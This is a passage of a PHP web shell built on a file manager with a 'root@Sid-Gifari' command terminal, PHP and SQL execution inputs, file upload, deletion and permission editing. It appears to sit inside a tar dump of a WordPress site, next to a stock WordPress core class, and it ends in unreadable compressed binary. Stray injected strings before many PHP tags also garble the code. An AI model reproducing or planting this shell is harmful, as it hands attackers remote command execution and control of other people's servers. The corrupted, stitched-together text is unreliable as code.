            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�Wy%class-wp-html-attribute-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[�����UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�PKgN\�ȩd�dindex.php.php.tar.gznu�[�����i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
